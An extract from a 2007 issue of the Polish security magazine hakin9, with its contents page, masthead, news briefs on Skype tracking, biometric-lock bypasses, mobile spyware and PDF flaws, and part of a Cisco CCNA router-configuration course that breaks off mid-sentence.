plik

www.hakin9.org

hakin9 Nr 2/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Przedstawiamy garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych.

Zawartość CD

Beata Żebrowska

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Narzędzia

Wojciech Trynkowski

Wojciech przetestował narzędzie dostarczone przez

firmę D-Link. Opisuje wady i zalety przetestowane-

go sprzętu

Atak

DDoS – Nowoczesne metody

ataku i obrony

Michał Garcarz, Janusz Sosnowski

Autorzy przedstawiają nowoczesne ataki odmowy

usługi DoS, jak również DDoS, których celem jest

uniemożliwienie dostępu do usług informatycznych

uprawnionym użytkownikom.

Przecinanie kabla

– atak TCP Reset

Marcin Ulikowski

Protokuł TCP należy do warstwy transportowej

modelu OSI odpowiedzialnego za kontrolę przepły-

wu poprawności danych. Marcin opisuje atak TCP

Reset i sposób zabezpieczenia systemu przed tego

rodzaju atakiem. Twórcy protokołu TCP nie przewi-

dzieli, że taki sam rozmiar pewnego pola w nagłówku

może stać się po wielu latach problemem.

Jak ominąć zabezpieczenie

mieszania stosu w kernelu 2.6

Enrico Feresin

Autor opisuje jak ominąć zapezpieczenie mieszania

stosu w linuxowym kernelu 2.6 posiadającego zabez-

pieczenie, które chroni system exploitami opartymi

na przepełnienie buforu: początek stosu każdego

procesu jest mieszany.

Hakowanie Internet Explorer

Krzysztof Kozłowski

Autor przedstawia niedoskonałości Internet Explore-

ra i wskazuje metody jak zabezpieczyć się przed ata-

kami z sieci. Z uwagi na fakt, że IE jest mocno zinte-

growany z Windowsem, często udany atak na prze-

glądarkę prowadzi do uzyskania dostępu do systemu

operacyjnego.

http://www.buyitpress.com

www.hakin9.org

hakin9 Nr 2/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

ClamAV, czyli jak to robią małże...

Tomasz Kojm

Tomasz przedstawia budowę ClamAntiVirus, wyko-

rzystanie biblioteki libclamav jak również sposób

stworzenia własnej sygnatury wirusa dla ClamAV.

Bezpieczeństwo

w Internet Explorer 7

Artur Żarski

W dniu pojawienia się pierwszej publicznej wersji IE7

rozpoczeła się dyskusja na temat bezpieczeństwa tego

produktu. Przeglądarka zawiera dużo nowych funkcji,

które mają zwiększyć bezpieczeństwo użytkownika.

Artur przedstawia sposób zabezpieczenia przeglądarki.

Tunele TUN/TAP

w systemech Linux/Unix

Paweł Maziarz

Paweł opisuje sposób działania tuneli TUN/TAP a także

przedstawia sposoby wykorzystania tuneli podczas

tworzenia własnych aplikacji używając tych tuneli.

Testy konsumenckie

Skanery bezpieczeństwa

Użytkownicy dzielą się z nami swoimi opiniami

na temat popularnych skanerów bezpieczeństwa.

Przedstawiają największe wady i zalety. Znajdziesz

tu opinie skanerów: Kaspersky Anti-Virus, mks_vir,

Avast, Ad-Aware Profesional, HiJack This.

Wywiad

Wywiad z Jarosławem Samonkiem

z firmy Symantec

Beata Żebrowska

Jarosław Samonek Country Manager firmy Syman-

tec.

Księgozbiór

Krystyna Wal, Łukasz Długosz

Recenzujemy książki: 19 grzechów śmiertelnych, Bez-

pieczeństwo protokołu TCP/IP, C/C++. Bezpieczne pro-

gramowanie. Receptury; Spamowi STOP! Bayesowskie

filtrowanie zawartości i sztuka statystycznej klasyfikacji

języka.

Zapowiedzi

Beata Żebrowska

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Beata Żebrowska

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Piotr Kabaciński,

Kamil Pociask

Korekta: Mariusz Kalata musil@wp.pl

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 2/2007

Namierzony przez Skype'a

Były szef izraelskiej firmy Comver-

se działającej na rynku VoIP, Jacob

Alexander, występujący w sieci

pod nickiem Kobi, został schwyta-

ny na Sri Lance w chwilę po tym,

jak namierzono jego jednominuto-

wą rozmowę przeprowadzoną przy

pomocy komunikatora Skype.

Jacob Alexander ukrywał się przed

amerykańskim wymiarem sprawiedli-

wości, ponieważ został oskarżony o

defraudacje i oszustwa giełdowe. Do

końca nie było jasne, jaki kierunek

obrał zbieg. Niektóre źródła poda-

wały, ze Jacob najprawdopodobniej

uciekł do Izreala, na co wskazywać

miałby wykonany na chwilę przed

zniknięciem przelew na 57 milionów

dolarów, właśnie na izraelskie konto

Jacoba. Inni twierdzili, że miejscem

ucieczki były Niemcy - jako państwo,

z którego nie można wykonać eks-

tradycji do USA.

Technika namierzania, którą wyko-

rzystała policja nie jest dokładnie

znana. Spekuluje się, że osoba, do

której dzwonił Jacob była na pod-

słuchu.

Należy pamiętać, że IP użytkowni-

ka Skype'a jest zapisywane podczas

logowania na serwerach komunikato-

ra. Policja może więc zdobyć nakaz i

uzyskać dostęp do logów. Do tej

pory komunikator Skype, ze wzglę-

du na wykorzystywanie kryptogra-

fii i architektury peer-to-peer posia-

dał renomę bezpiecznego narzędzia

komunikacji. W związku z tym pozo-

stawał ulubionym narzędziem inter-

netowych rzezimieszków - znane są

przykłady wykorzystywania Skype-

'a do „bezpiecznego” kontrolowania

sieci botnetów.

Ostatnie wydarzenia, jak i głębsza

analiza na podstawie reverse-engi-

neeringu protokołu Skype'a poka-

zała, że IP użytkownika jest moż-

liwe do odczytania praktycznie na

każdym etapie połączenia.

Bezpieczne Gadu-Gadu

Taką nazwę przybrała wspólna

akcja informacyjna CERT-u i Gadu-

Gadu, skierowana do niezaawan-

sowanych komputerowo użytkow-

ników popularnego w Polsce komu-

nikatora.

Specjalna strona http://bezpieczne.

gadu-gadu.pl zawiera informacje

dot. zasad bezpiecznego korzy-

stania z internetu oraz program o

nazwie Bezpiecznik, którego zada-

niem jest usuwanie złośliwego opro-

gramowania.

Kserokopia zastąpi brakujący kciuk

wórcy programu telewizyjnego
Mythbusters zademonstrowali

prostą metodę na obejście zabez-
pieczeń  biometrycznych  sprze-
dawanych  przez  popularnych  na
rynku  producentów.  Do  otwarcia
zamka  sprawdzającego  odciska
palca  użyli  zwykłej  kserokopii  linii
papilarnych...

Autorzy programu postanowi-

li  zmierzyć  się  z  nowoczesnymi
zabezpieczeniami  biometryczny-
mi,  które  powszechnie  uznaje  się
za  nie  do  pokonania.  Biometry-
ka obrosła w mit i większość osób
widzi ją jako za zabezpieczenie nie
do  obejścia.  Biometryka  chętnie
wykorzystywana jest we wszelkie-
go rodzaju filmach, od futurystycz-
nego  skanowania  siatkówki  jako
obowiązkowego elementu w Scien-
ce Fiction, aż po prymitywne odci-
nanie kciuka właściciela, znane już
bardziej z horrorów...

Tym bardziej zadziwiające jest,

że  drzwi  zabezpieczone  zamkiem
weryfikującym  odcisk  palca  otwar-
to  za  pomocą  zwykłej  kserokopii,
która przecież w żaden sposób nie
emuluje kciuka - jest dwuwymiaro-

wa, nie poci się, nie da się na niej
wyczuć pulsu i zmian temperatury.

Co ciekawe, próba ze znanym

i  rozpropagowanym  w  filmach  sen-
sacyjnych  „odciskiem  lateksowym”
nie była już pełna sukcesów. Jednak
pomimo  niepowodzeń,  prowadzą-
cy i tak zdołał otworzyć zamek przy
użyciu lateksowej repliki linii papilar-
nych - okazało się, że zwykle poliza-
nie  sztucznego  odcisku  skutecznie
zmyliło czujnik w zamku i pozwoliło
na otwarcie drzwi.

Specjaliści do spraw bezpie-

czeństwa  zazwyczaj  długo  głowią
się  przed  wprowadzeniem  biome-
trycznych  zabezpieczeń  w  swoich
firmach.  Prawie  zawsze,  większość
pracowników  mająca  dostęp  do
poufnych  danych  stanowczo  opo-
wiada  się  za  skorzystaniem  ze
standardowych  zamków.  Wynika
to  przede  wszystkim  ze  strachu  -
w  razie  napadu,  zwykły  klucz  czy
kartę  magnetyczną  zawsze  można
oddać  napastnikowi  -  nawet,  jeśli
miałoby to być okupione szamotani-
ną i kilkoma guzami - taką stratę pra-
cownik jest gotów ponieść. Gorzej już
z siatkówką, czy kciukiem...

Wrzeszczący telefon

mnezja i krzyk, to nowy sposób
na kradzieże telefonów komórko-

wych i PDA. Firma Synchronica wpro-
wadziła na rynek usługę o nazwie
Mobile Manager, która nazwać
można przenośnym trojanem.

W razie kradzieży „zainfekowa-

nego”  urządzenia,  jego  prawowity
właściciel  będzie  mógł  nim  zdalnie
sterować - co nie jest niczym nowym,
bo od dawna można znaleźć narzę-
dzia  spełniające  podobne  funkcje.
Przełomowy  natomiast  jest  krzyk
urządzenia,  działający  na  zasadzie
alarmu  oraz  centralna  archiwizacja
danych (ściągnięcie ich z telefonu na
serwer  firmy)  a  następnie  wymaza-
nie pamięci aparatu.

Krzyk, z którego firma jest niesa-

mowicie dumna, można przetesto-
wać na sobie. Jego próbkę producent

udostępnia w sieci pod adresem http:

//www.synchronica.com/syncml-

download /synchronica-mobile-
manager-screams.mp3

Urządzenie ma wydawać z siebie

wrzaski do momentu wyjęcia baterii i
nawet zmiana karty SIM nie pomoże.
Usługa  niestety  jest  płatna,  ale  na
pewno  przypadnie  do  gustu  osobom,
które  na  coraz  potężniejszych  smart-

phone'ach przenoszą coraz większe
ilości coraz bardziej poufnych danych.

W skrócie

hakin9 Nr 2/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 2/2007

Sniffer na komórkę

Symbian to jeden z popularniej-

szych systemów operacyjnych na

telefony komórkowe. Jednak licz-

bie użytecznych aplikacji towa-

rzyszy także liczba złośliwego

oprogramowania. Program Allca-

no.A to sniffer, który potrafi prze-

chwycić zarówno otrzymywane,

jak i wysyłane przez użytkowni-

ka SMSy. Podejrzane wiadomo-

ści trafiają na uprzednio skonfigu-

rowany numer telefonu, dodatko-

wo obciążając rachunek zaatako-

wanego. Sam atak nie pozostawia

żadnego śladu w telefonie. Podwój-

nie wysłanych SMS-ów nie znaj-

dziemy w skrzynce nadawczej. Co

ciekawe, twórcy aplikacji, w przeci-

wieństwie do firm zajmujących się

bezpieczeństwem, nie postrzega-

ją jej jako wirusa. Program nie roz-

mnaża się bowiem samoistnie i nie

potrafi się przenosić na inne telefo-

ny, a jego instalacja zawsze musi

być świadoma, bo wymaga wpro-

wadzenia numeru IMEI aparatu. Z

racji popularności systemów moni-

toringu oraz znacznego rozwoju

platformy komórkowej, tego typu

aplikacji szpiegowskich pojawia się

coraz więcej. Od darmowych ama-

torskich programików, po obszerne

korporacyjne. Jedne mają służyć

informowaniu prawowitego właści-

ciela o tym, co dzieje się z apara-

tem - gdyby ten został skradziony,

inne maja za zadanie monitorować

wydajność oraz lojalność pracowni-

ków i są instalowane na zlecenie

szefostwa. Jeśli chcemy być pewni,

że na naszym telefonie nie znajdu-

ją się podejrzane aplikacje, zawsze

możemy skorzystać z antywirusa

firmy F-Secure.

Internet Explorer za tarczą

rowserShield, to nowa usługa
stworzona

dla

przeglądar-

ki  Internet  Explorer,  mająca  pomóc
w  wykrywaniu  i  zwalczaniu  nie-
bezpiecznego  kodu  na  podejrza-
nych  stronach  WWW,  przypadkowo
odwiedzonych przez internautę.

Nowy system zabezpieczeń dla

IE  ma  być  inteligentny  i  przewidu-
jący,  by  móc  ochronić  przeglądar-
kę  nawet,  jeśli  ta  nie  ma  zainstalo-
wanej odpowiedniej poprawki. Przy-
pomina to trochę analizę heurystycz-
ną  wykonywaną  przez  obecne  na
rynku  programy  antywirusowe,  gdy
niemożliwe jest dopasowanie żadnej
sygnatury  wirusa  do  sprawdzanego
pod kątem infekcji pliku.

Microsoft zapewnia, że oglą-

dane  przez  użytkownika  strony
będą  analizowane  i  oczyszcza-
ne  z  kodu  przez  specjalny  parser,
zanim  jeszcze  zostaną  wyświetlo-
ne  na  ekranie.  Operacja  jest  więc
dla  użytkownika  przezroczysta  i  w

żaden sposób nie wpływa na kom-
fort przeglądania sieci. Problemem
może być jedynie narzut czaso-
wy, jaki jest potrzebny by zanalizo-
wać kod każdej z otwieranych stron
WWW.

Producent zaleca używanie

BrowserShield  razem  z  programa-
mi  antywirusowymi  i  firewallami,
ponieważ  usługa  w  żaden  sposób
nie  chroni  przed  złośliwym  kodem
całego komputera, skupia się wyłącz-
nie na zapewnieniu bezpieczeństwa
przeglądarce.  Testy  wykazały,  że
BrowserShield poradził sobie z więk-
szością  stron  WWW  zawierającą  w
kodzie  przykładowe  exploity.  Istnie-
je wiele serwerów proxy, które sku-
piają się na filtrowaniu dokumentów
HTML. Z reguły jednak, są to skom-
plikowane aplikacje i ich konfiguracja
przerasta niezaawansowanych użyt-
kowników.  Dlatego  proste  w  obsłu-
dze  narzędzie  Microsoftu  znajdzie
wielu zwolenników.

PDF zhackowany!

rytyjski specjalista ds. bezpie-
czeństwa, David Kierznowski,

odkrył dziurę w formacie Adobe PDF,
pozwalającą  na  przeprowadzenie
zdalnego  ataku  na  komputer  ofiary.
Hacker  wyznał,  że  odkryte  przez
niego nieprawidłowości nie są wyni-
kiem umyślnego błędu, a raczej sub-
telnych możliwości, jakie udostępnia
format  PDF  -  możliwości,  o  których
nikt nie pomyślał, że mogłyby kiedy-
kolwiek stanowić zagrożenie.

Jeden z pierwszych exploitów

demonstrujących  atak  dodawał  do
treści  dokumentu  PDF  podstawiony
link,  który  zaraz  po  wczytaniu  pliku
był  automatycznie  otwierany  przez
przeglądarkę. Według Kierznowskie-
go, lekka modyfikacja kodu exploita
spowodowałaby  wykonanie  dowol-
nego kodu w systemie.

Okazało się również, że na atak

podatna  jest  nie  tylko  najświeższa
wersja Adobe Acrobat Readera, ale
także  inny  produkt  -  Adobe  Profes-
sional.  Kierznowski  i  na  to  narzę-

dzie  zaprezentował  exploita.  Za
jego pomocą najpierw połączył się z
lokalną,  windowsową  ODBC  (Open
DataBase Connectivity), a następnie
enumerował dostępne bazy danych i
wysyłał raporty z powrotem na kom-
puter o fiary, za pomocą zewnętrznej
usługi w sieci WWW. Ten niegroźny
scenariusz w kilka minut mógł zostać
przystosowany  do  niebezpieczne-
go ataku, w którym cyberprzestępca
uzyskuje  dostępu  do  lokalnej  bazy
danych  użytkownika  z  zewnątrz,
za  pomocą  wyłącznie  przeglądar-
ki WWW.

Kierznowski zakomunikował, że

istnieje jeszcze co najmniej siedem
nieprawidłowości w PDF, które odpo-
wiednio wykorzystane mogą stano-
wić realne zagrożenie.

Ciekawym zastosowaniem jednej

z dziur było wstrzyknięcie kodu Java-
Script do dokumentu PDF. Dokładny
opis luk, Kierznowski przedstawia na
swoim blogu: http://michaeldaw.org/

md-hacks/backdooring-pdf-files/

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

Sekwencja uruchomieniowa routera

oraz tryb konfiguracyjny

Router  uruchamia  się  poprzez  załadowanie  programu
rozruchowego, systemu operacyjnego oraz pliku konfigu-
racyjnego. Jeżeli router nie może znaleźć pliku konfigu-
racyjnego, przechodzi do trybu konfiguracji. Router prze-
chowuje kopię zapasową nowo utworzonego pliku kon-
figuracyjnego,  utworzonego  w  trybie  konfiguracji  w  pa-
mięci nieulotnej o dostępie swobodnym. Po uruchomie-
niu routera przeprowadzi on samodzielny test (POST, po-
wer-on self-test). Podczas samotestowania router prze-
prowadza  diagnostykę  wszystkich  modułów  sprzęto-
wych. Diagnostyka pozwala sprawdzić podstawowe dzia-
łanie komponentów sprzętowych routera.

Po przeprowadzeniu autotestu routera, podczas jego

inicjalizacji następuje:

• Uruchomienie programu na karcie CPU znajdującego

się w pamięci ROM.

• Załadowanie obrazu Cisco IOS. Po rozpoczęciu dzia-

łania systemu operacyjnego, lokalizuje on komponen-
ty sprzętowe i programowe. Ich łączne zestawienie
zostanie wyświetlone na terminalu konsoli.

• Zapisanie pliku konfiguracyjnego w pamięci NVRAM

lub na serwerze TFTP

• Załadowanie do pamięci głównej wykonanie kolej-

nych wierszy poleceń.

• Przeprowadzenie .procedury początkowej konfigura-

cji opartej na pytaniach jeśli w pamięci NVRAM nie
istnieje prawidłowy plik konfiguracyjny lub pamięć
NVRAM została wymazana.

Do komunikacji z routerem używamy programu HyperTer-
minal, który należy odpowiednio skonfigurować. Wszyst-
kie routery Cisco używają asynchroniczny, szeregowy
port konsoli ze złączem RJ-45. Aby połączyć konsolę ter-
minalu z portem konsoli, potrzebne są kable i przejściów-

Kurs na certyfikat CISCO CCNA

ki. Aby podłączyć komputer z uruchomionym emulatorem
terminalu do portu konsoli, należy użyć kabla typu rollo-
ver zakończonego złączem RJ-45 oraz przejściówki żeń-
skiej RJ-45 na DB-9, lub RJ-45 na DB-25. Domyślne pa-
rametry portu konsoli to szybkość 9600 b/s, 8 bitów da-
nych, bez parzystości, 1 bit stopu oraz brak kontroli prze-
pływu. Port konsoli nie obsługuje sprzętowej kontroli
przepływu. Aby skonfigurować router Cisco, należy uzy-
skać dostęp do interfejsu użytkownika poprzez terminal
lub zdalny dostęp. Podczas uzyskiwania dostępu do ro-
utera użytkownik musi się zalogować, zanim będzie mógł
wydawać polecenia. Dla bezpieczeństwa router posiada
dwa poziomy dostępu do poleceń:

• Tryb użytkownika (User EXEC mode) - Typowe zadania

związane ze sprawdzaniem statusu routera. W tym try-
bie niedozwolone są zmiany konfiguracji routera.

• Tryb uprzywilejowany (Priviledged EXEC mode) - Ty-

powe zadania związane ze zmianami konfiguracji ro-
utera.

Tryby konfiguracji routera

Polecenia globalnego trybu konfiguracji są wykorzysty-
wane do wprowadzenia poleceń konfiguracyjnych, doty-
czących routera jako całości. Aby wejść do trybu konfigu-
racji globalnej, należy w trybie uprzywilejowanym wpisać
polecenie configure. Po wpisaniu tego polecenia poja-
wia się zapytanie o źródło wprowadzonych poleceń kon-
figuracyjnych, w którym można określić terminal, pamięć
nvram lub serwer sieciowy.

Wpisanie polecenia exit w konkretnym trybie konfi-

guracyjnym powoduje przejście routera do trybu global-
nej konfiguracji. Wciśnięcie kombinacji CTRL-Z powodu-
je wyjście z trybu konfiguracji i powrót do trybu uprzywi-
lejowanego EXEC.

Konfigurowanie nazwy routera

Nazwanie routera pomaga lepiej zarządzać siecią po-
przez unikalną identyfikację każdej maszyny w sieci. Na-
zwę routera konfiguruje się w globalnym trybie konfigura-
cji. Nazwa routera jest określana nazwą hosta i wyświe-
tlana jest w znaku gotowości linii poleceń. Określenie na-
zwy routera następuje poprzez wydanie polecenia host-
name i nazwa routera.

Konfigurowanie

i ochrona haseł routera

Router może być zabezpieczony za pomocą haseł. Hasła
mogą zostać ustalone zarówno dla połączeń wirtualnego
terminalu, jak również dla połączeń konsolowych. Tak sa-
mo tryb EXEC też może być zabezpieczony.

Tryby konfiguracji

Interface

Router(config-if)#

Subinterface

Router(config-subif)#

Controller

Router(config-controller)#

Map-list

Router(config-map-list)#

Map-class

Router(config-map-class)#

Line

Router(config-line)#

Router

Router(config-router)#

Ip-router

Router(config-ipx-router)#

Router

Router(config-router-map)#

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

W trybie globalnej konfiguracji należy wydać pole-

cenie  enable  password,  aby  ograniczyć  dostęp  do  try-
bu uprzywilejowanego. Hasło to będzie widoczne w pli-
ku  konfiguracyjnym.  Aby  wprowadzić  hasło  zaszyfro-
wane  należy  wykonać  polecenie  enable  secret.  Hasło
skonfigurowane za pomocą enable secret, jest używane
zamiast hasła enable password. Hasła mogą być także
zabezpieczone przed podejrzeniem poprzez użycie po-
lecenia  service  password-encryption.  Polecenie  to  jest
wpisywane w trybie globalnej konfiguracji. Linia poleceń
trybu użytkownika jest dostępna po zalogowaniu się do
routera.  Dostępne  na  tym  poziomie  polecenia,  są  pod-
zbiorem poleceń dostępnych w trybie uprzywilejowanym
EXEC. Aby uzyskać dostęp do wszystkich poleceń, na-
leży wejść w tryb uprzywilejowany. Po znaku gotowości,
należy  wpisać  instrukcję  enable.  Jeżeli  zostaniemy  po-
proszeni o hasło, należy wprowadzić hasło które zostało
określone poprzez instrukcję enable secret. Gdy pomyśl-
nie zalogujemy się do trybu uprzywilejowanego znak go-
towości zmieni się na #. Istnieje kilka powodów dla któ-
rych router może nie uruchomić się prawidłowo:

• plik konfiguracyjny z brakującymi lub nieprawidłowymi

wpisami boot system

•   nieprawidłowa wartość rejestru konfiguracji
•   uszkodzony obraz oprogramowania w pamięci Flash
•   uszkodzony sprzęt

Do sprawdzania stanu routera używamy poniższych in-
strukcji:

• show version - wyświetla konfigurację sprzętową sys-

temu, wersję oprogramowania, nazwy i źródła pli-
ków konfiguracyjnych i obrazów systemu, oraz powód
ostatniego restartu systemu operacyjnego

• show process - wyświetla informacje o aktywnych

procesach

• show protocol - wyświetla skonfigurowane protokoły.

Podaje status każdego skonfigurowanego protokołu
warstwy 3

• show memory - wyświetla informacje o dostępnej pa-

mięci, wraz ze statystykami wolnych obszarów pa-
mięci

• show stacks - monitoruje użycie stosu przez procesy i

procedury przerwań

• show buffers - dostarcza statystyk o buforze w routerze
• show flash - wyświetla informacje o urządzeniu pa-

mięci Flash

• show running-config - wyświetla plik aktywnej konfi-

guracji

• show startup-config - wyświetla plik konfiguracji zapa-

sowej

• show interface - wyświetla informacje o skonfigurowa-

nych interfejsach

W samym systemie operacyjnym występuje jeszcze wie-
le innych poleceń show, które pozwalają sprawdzić np.
zawartość plików w routerze. W każdym trybie można
wykonać polecenie show z dostępnymi opcjami:

• show controller serial - wyświetla informacje specy-

ficzne dla sprzętu interfejsu

• show clock - wyświetla ustawiony czas na routerze
• show hosts - wyświetla listę wszystkich nazw hostów

i adresów przechowywanych w pamięci podręcznej

• show users - wyświetla wszystkich użytkowników

podłączonych do routera

• show history - wyświetla historię wprowadzonych po-

leceń

• show flash - wyświetla informacje o pamięci Flash i

przechowywanych plikach Cisco IOS

• show version - wyświetla informacje o uruchomionym

obrazie IOS Cisco

• show arp - wyświetla tablicę arp

Konfigurowanie interfejsu

szeregowego w routerze

Interfejs szeregowy może zostać skonfigurowany zarówno
z konsoli, jak i przez sesję wirtualnego terminalu. Interfejs
szeregowy wymaga sygnału zegarowego w celu synchro-
nizacji transmisji. W większości środowisk DCE, takie jak
CSU/DSU, zapewnia sygnał zegarowy. Domyślnie routery
są urządzeniami DTE, ale mogą zostać skonfigurowane ja-
ko urządzenia DCE. W bezpośrednich połączeniach inter-
fejsów szeregowych jedna strona musi być skonfigurowa-
na jako urządzenie DCE i zapewnić sygnał taktujący. Ze-
gar jest włączany poprzez polecenie clockrate które okre-
śla jego prędkość. Dostępne wartości w bitach na sekundę
wynoszą: 1200, 2400, 9600, 19200, 38400, 56000, 64000,
72000, 125000, 148000, 500000, 800000, 1000000,
13000000, 2000000 i 4000000. Aby skonfigurować inter-
fejs szeregowy należy wykonać następujące czynności:

•   uruchomić tryb globalnej konfiguracji
•   uruchomić tryb konfiguracji interfejsu
•   określić pasmo
•   ustawić prędkość zegara DCE
•   włączyć interfejs

Domyślnie wszystkie interfejsy są wyłączone. Aby włą-
czyć je należy podać polecenie no shutdown. Interfejs
może wymagać wyłączenia administracyjnego w celu
wykonania czynności konserwacyjnych. Polecenie shut-
down wyłącza interfejs.

Konfiguracja interfejsu Ethernet

Interfejs Ethernet skonfigurować można zarówno z kon-
soli, jak i z linii terminalu wirtualnego. Każdy taki interfejs,
musi posiadać adres IP i maskę podsieci. Aby skonfiguro-
wać interfejs Ethernet, należy wykonać czynności:

•   uruchomić tryb globalnej konfiguracji
•   uruchomić tryb konfiguracji interfejsu
•   określić adres IP i maskę podsieci
•   włączyć interfejs

Domyślnie interfejsy Ethernet są wyłączone. Aby włą-
czyć, należy wydać polecenie no shutdown. Natomiast
polecenie shutdown wyłącza interfejs.

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

zawartość CD

hakin9 Nr 2/2007

www.hakin9.org

Wykonywanie zmian na routerze

Do weryfikacji zmian na routerze, wydaje się polecenie
show running-config. Polecenie to wyświetla bieżącą kon-
figurację. Jeżeli wyświetlane zmienne nie są tym, co zamie-
rzono, można to poprawić poprzez wykonanie czynności:

• dodanie no do polecenia konfiguracyjnego
• ponowne uruchomienie systemu i załadowanie orygi-

nalnego pliku konfiguracji z pamięci NVRAM

• usunięcie pliku konfiguracji uruchomieniowej pole-

ceniem  erase  startup-config,  uruchomienie  routera
i wejście w tryb konfiguracji uruchomieniowej. Aby za-
pisać  konfigurację  do  pliku  konfiguracji  uruchomie-
niowej  w  pamięci  NVRAM,  należy  wydać  polece-
nie  w  trybie  uprzywilejowanym:

copy running-config

startup-config

Do zarządzania zawartością NVRAM w systemie Cisco
IOS służą polecenia:

• configure memory - ładuje informacje konfiguracyjne

z pamięci NVRAM

• erase startup-config - kasuje zawartość pamięci

NVRAM

• copy running-config startup-config - kopiuje bieżącą

konfigurację z pamięci RAM do pamięci NVRAM

• show startup-config - wyświetla zapisaną konfigura-

cję w pamięci NVRAM

Informacje logowania

Wiadomość logowania jest wiadomością wyświetlaną
przy logowaniu. Jest ona użyteczna do dostarczania wia-
domości dotyczących wszystkich użytkowników sieci, np.
informacje o zbliżającym się wyłączeniu systemu. Wia-
domość logowania powinna zawierać ostrzeżenie przed
próbą nieautoryzowanego logowania.

Wiadomość dnia (MOTD, Message of the day) lub

wiadomość logowania, może być wyświetlana na wszyst-
kich połączonych terminalach. Aby skonfigurować taką
wiadomość, należy wejść do trybu globalnej konfiguracji
i wydać polecenie banner motd. Następnie należy wpro-
wadzić po spacji znak separujący (np. @) i treść wiado-
mości. Po spacji należy ponownie wprowadzić wybrany
przez nas znak separujący. Do konfiguracji takiej wiado-
mości należy wykonać następujące czynności:

• uruchomić tryb globalnej konfiguracji poprzez wyko-

nanie polecenia configure terminal

• wprowadzić polecenie banner motd @ Wiadomość @

(znak @ można zastąpić dowolnym innym)

• zapisać zmieny, wydając polecenie copy running-

config startup=config, lub krócej copy run start

Rozwiązywanie nazw hostów

Rozwiązywanie nazw hostów jest procesem, w którym
system łączy nazwę komputera jego adresem sieciowym.
Protokoły takie jak telnet używają nazw hostów do roz-
poznawania urządzeń sieciowych. Aby korzystać z nazw
hostów w komunikacji z innymi urządzeniami IP, urządze-

nia sieciowe, takie jak routery, muszą być w stanie powią-
zać nazwę hosta z jego adresem IP. Tablica hostów może
zawierać wszystkie urządzenia w organizacji. Każdy uni-
katowy adres IP może mieć powiązaną ze sobą nazwę.

Protokół CDP

Protokół CDP jest protokołem warstwy 2, który łączy pro-
tokoły  niższych  warstw  mediów  fizycznych  z  protokołami
wyższych warstw sieci. CDP jest wykorzystywany do otrzy-
mywania informacji o urządzeniach sąsiadujących. Uzyska-
ne  informacje  zawierają  m.in.  rodzaje  dołączonych  urzą-
dzeń,  interfejs  routera,  na  którym  się  znajdują,  interfejsy
wykorzystane do utworzenia połączenia oraz numery mo-
delu. CDP jest niezależy od mediów i protokołów i działa
na wszystkich urządzeniach firmy CISCO, poprzez protokół
SNAP. Więc podstawowym zastosowaniem CDP jest roz-
poznawanie  wszystkich  urządzeń  Cisco,  które  są  bezpo-
średnio dołączone do lokalnego urządzenia. Aby wyświe-
tlić przechowywane w pamięci informacje CDP, należy wy-
konać polecenie show cdp entry. Aby wyświetlić informacje
o sieciach przyłączonych bezpośrednio do routera, należy
wykonać polecenie show cdp neighbors. Polecenie show
cdp neighbors udostępnia nastęujące informacje:

•   ID urządzenia
•   interfejs lokalny
•   czas przechowywania informacji
•   możliwości
•   platformę
•   ID portu
•   nazwę domeny VTP
•   rodzimy VLAN
•   pół/pełen dupleks

Aby wyświetlić wszystkie informacje generowane przez
instrukcję show cdp neighbors, jak i przez instrukcję
show cdp entry, należey wykonać opcjonalną komendę
